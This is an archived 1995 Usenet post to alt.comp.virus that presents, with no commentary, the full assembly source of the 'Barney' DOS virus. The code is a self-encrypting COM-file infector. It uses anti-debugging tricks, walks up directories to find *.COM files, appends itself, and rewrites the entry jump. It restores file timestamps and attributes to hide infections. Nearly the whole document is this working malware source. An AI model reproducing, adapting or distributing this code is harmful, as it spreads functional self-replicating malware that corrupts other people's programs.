home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / SOURCE.ZIP / BARNEY.ASM / text0000.txt < prev   
Encoding:
Internet Message Format  |  1995-10-29  |  8.7 KB
  1. Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!usenet.cis.ufl.edu!caen!newsxfer.itd.umich.edu!agate!howland.reston.ans.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
  2. From: danishm@iia.org ()
  3. Newsgroups: alt.comp.virus
  4. Subject: Barney virus
  5. Date: 5 Feb 1995 22:06:47 GMT
  6. Organization: International Internet Association.
  7. Lines: 291
  8. Message-ID: <3h3i5n$v4@ankh.iia.org>
  9. NNTP-Posting-Host: iia.org
  10. X-Newsreader: TIN [version 1.2 PL2]
  11.  
  12. Here is the Barney virus:
  13.  
  14.  
  15. ; Barney virus
  16. PING            equ     0F92Fh
  17. INFECT          equ     1
  18.  
  19. code            segment
  20.                 org     100h
  21.                 assume  cs:code,ds:code
  22.  
  23. start:
  24.                 db      0E9h,3,0          ; to virus
  25. host:
  26.                 db      0CDh,20h,0        ; host program
  27. virus_begin:
  28.  
  29.                 mov     dx,VIRUS_SIZE / 2 + 1
  30.                 db      0BBh                    ; decryption module
  31. code_offset     dw      offset virus_code
  32.  
  33. decrypt:
  34.                 db      02Eh,081h,37h           ; XOR CS:[BX]
  35. cipher          dw      0
  36.                 inc     bx
  37.                 inc     bx
  38.                 dec     dx
  39.                 jnz     decrypt
  40.  
  41.  
  42. virus_code:
  43.                 call    $ + 3             ; BP is instruction ptr.
  44.                 pop     bp
  45.                 sub     bp,offset $ - 1
  46.  
  47.                 push    ds es
  48.  
  49.                 cli
  50.                 mov     ax,PING           ; mild anti-trace code
  51.                 push    ax
  52.                 pop     ax
  53.                 dec     sp
  54.                 dec     sp
  55.                 pop     bx
  56.                 cmp     ax,bx
  57.                 je      no_trace
  58.                 hlt
  59.  
  60. no_trace:
  61.                 sti
  62.                 in      al,21h            ; lock out & reopen keyboard
  63.                 xor     al,2
  64.                 out     21h,al
  65.                 xor     al,2
  66.                 out     21h,al
  67.  
  68.                 lea     dx,[bp + offset new_DTA]
  69.                 mov     ah,1Ah
  70.                 int     21h
  71.  
  72.                 mov     byte ptr [bp + infections],0
  73.  
  74.                 call    traverse
  75.  
  76.                 pop     es ds
  77.                 mov     dx,80h
  78.                 mov     ah,1Ah
  79.                 int     21h
  80.  
  81. com_exit:
  82.                 lea     si,[bp + host]          ; restore host program
  83.                 mov     di,100h
  84.                 push    di
  85.                 movsw
  86.                 movsb
  87.  
  88.                 call    fix_regs                ; fix up registers
  89.                 ret                             ; and leave
  90.  
  91. fix_regs:
  92.                 xor     ax,ax
  93.                 cwd
  94.                 xor     bx,bx
  95.                 mov     si,100h
  96.                 xor     di,di
  97.                 xor     bp,bp
  98.                 ret
  99.  
  100.  
  101. traverse:
  102.                 sub     sp,64                   ; allocate stack space
  103.                 mov     si,sp
  104.                 inc     si
  105.                 mov     ah,47h                  ; get current directory
  106.                 xor     dl,dl
  107.                 int     21h
  108.  
  109.                 dec     si
  110.                 mov     byte ptr ss:[si],'\' ; fix directory
  111.  
  112. next_dir:
  113.                 call    infect_dir
  114.  
  115.                 cmp     byte ptr [bp + infections],INFECT
  116.                 je      traverse_done
  117.  
  118.                 lea     dx,[bp + outer]         ; repeat in next dir up
  119.                 mov     ah,3Bh
  120.                 int     21h
  121.                 jnc     next_dir
  122.  
  123. traverse_done:
  124.                 add     sp,64                   ; reset
  125.                 mov     dx,si
  126.                 mov     ah,3Bh
  127.                 int     21h
  128.                 ret
  129.  
  130. infect_dir:
  131.                 mov     ah,4Eh
  132.                 lea     dx,[bp + find_me]
  133.                 int     21h
  134.                 jc      infect_done
  135.  
  136. next_file:
  137.                 lea     dx,[bp + new_DTA + 1Eh]
  138.                 call    execute
  139.                 cmp     byte ptr [bp + infections],INFECT
  140.                 je      infect_done
  141.                 mov     ah,4Fh
  142.                 int     21h
  143.                 jnc     next_file
  144.  
  145. infect_done:
  146.                 ret
  147. execute:
  148.                 push    si
  149.  
  150.                 xor     ax,ax                   ; critical error handler
  151.                 mov     es,ax                   ; routine - catch int 24
  152.                 lea     ax,[bp + int_24]
  153.                 mov     es:[24h * 4],ax
  154.                 mov     es:[24h * 4 + 2],cs
  155.  
  156.                 mov     ax,4300h                ; change attributes
  157.                 int     21h
  158.  
  159.                 push    cx dx ds
  160.                 xor     cx,cx
  161.                 call    set_attributes
  162.  
  163.                 mov     ax,3D02h                ; open file
  164.                 int     21h
  165.                 jc      cant_open
  166.                 xchg    bx,ax
  167.  
  168.                 mov     ax,5700h                ; save file date/time
  169.                 int     21h
  170.                 push    cx dx
  171.                 mov     ah,3Fh
  172.                 mov     cx,28
  173.                 lea     dx,[bp + read_buffer]
  174.                 int     21h
  175.  
  176.                 cmp     word ptr [bp + read_buffer],'ZM'
  177.                 je      dont_infect             ; .EXE, skip
  178.  
  179.                 mov     al,2                    ; move to end of file
  180.                 call    move_file_ptr
  181.  
  182.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  183.                 ja      dont_infect             ; too big, don't infect
  184.  
  185.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  186.                 cmp     dx,word ptr [bp + read_buffer + 1]
  187.                 je      dont_infect
  188.  
  189.                 add     dx,VIRUS_SIZE + 3
  190.                 mov     word ptr [bp + new_jump + 1],dx
  191.  
  192.                 add     dx,103h
  193.                 call    encrypt_code            ; encrypt virus
  194.  
  195.                 lea     dx,[bp + read_buffer]   ; save original program head
  196.                 int     21h
  197.                 mov     ah,40h                  ; write virus to file
  198.                 mov     cx,VIRUS_SIZE
  199.                 lea     dx,[bp + encrypt_buffer]
  200.                 int     21h
  201.  
  202.                 xor     al,al                   ; back to beginning of file
  203.                 call    move_file_ptr
  204.  
  205.                 lea     dx,[bp + new_jump]
  206.                 int     21h
  207.  
  208. fix_date_time:
  209.                 pop     dx cx
  210.                 mov     ax,5701h                ; restore file date/time
  211.                 int     21h
  212.  
  213.                 inc     byte ptr [bp + infections]
  214.  
  215. close:
  216.                 pop     ds dx cx                ; restore attributes
  217.                 call    set_attributes
  218.  
  219.                 mov     ah,3Eh                  ; close file
  220.                 int     21h
  221.  
  222. cant_open:
  223.                 pop     si
  224.                 ret
  225.  
  226.  
  227. set_attributes:
  228.                 mov     ax,4301h
  229.                 int     21h
  230.                 ret
  231.  
  232. dont_infect:
  233.                 pop     cx dx                   ; can't infect, skip
  234.                 jmp     close
  235.  
  236. move_file_ptr:
  237.                 mov     ah,42h                  ; move file pointer
  238.                 cwd
  239.                 xor     cx,cx
  240.                 int     21h
  241.  
  242.                 mov     dx,ax                   ; set up registers
  243.                 mov     ah,40h
  244.                 mov     cx,3
  245.                 ret
  246.  
  247. courtesy_of     db      '[BW]',0
  248. signature       db      'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0
  249.  
  250.  
  251. encrypt_code:
  252.                 push    ax cx
  253.  
  254.                 push    dx
  255.                 xor     ah,ah                   ; get time for random number
  256.                 int     1Ah
  257.  
  258.                 mov    [bp + cipher],dx
  259.                 pop     cx
  260.                 add     cx,virus_code - virus_begin
  261.                 mov     [bp + code_offset],cx
  262.                 push    cs                      ; ES = CS
  263.                 pop     es
  264.  
  265.                 lea     si,[bp + virus_begin]
  266.                 lea     di,[bp + offset encrypt_buffer]
  267.                 mov     cx,virus_code - virus_begin
  268.                 rep     movsb
  269.  
  270.                 mov     cx,VIRUS_SIZE / 2 + 1
  271. encrypt:
  272.                 lodsw                           ; encrypt virus code
  273.                 xor     ax,dx
  274.                 stosw
  275.                 loop    encrypt
  276.  
  277.                 pop     cx ax
  278.                 ret
  279.  
  280.  
  281. find_me         db      '*.COM',0
  282. outer           db      '..',0
  283.  
  284. int_24:
  285.                 mov     al,3                    ; int 24 handler
  286.                 iret
  287. new_jump        db      0E9h,0,0
  288.  
  289. infections      db      0
  290. virus_end:
  291. VIRUS_SIZE      equ     virus_end - virus_begin
  292. read_buffer     db      28 dup (?)              ; read buffer
  293. new_DTA         db      128 dup(?)
  294. encrypt_buffer  db      VIRUS_SIZE dup (?)      ; encryption buffer
  295.  
  296. end_heap:
  297.  
  298. MEM_SIZE        equ     end_heap - start
  299.  
  300. code            ends
  301.                 end     start
  302.  
  303.  
  304. --
  305. Eric "Mad Dog" Kilby                                 maddog@ccs.neu.edu
  306. The Great Sporkeus Maximus                 ekilby@lynx.dac.neu.edu
  307. Student at the Northeatstern University College of Computer Science 
  308. "I Can't Believe It's Not Butter"
  309.  
  310.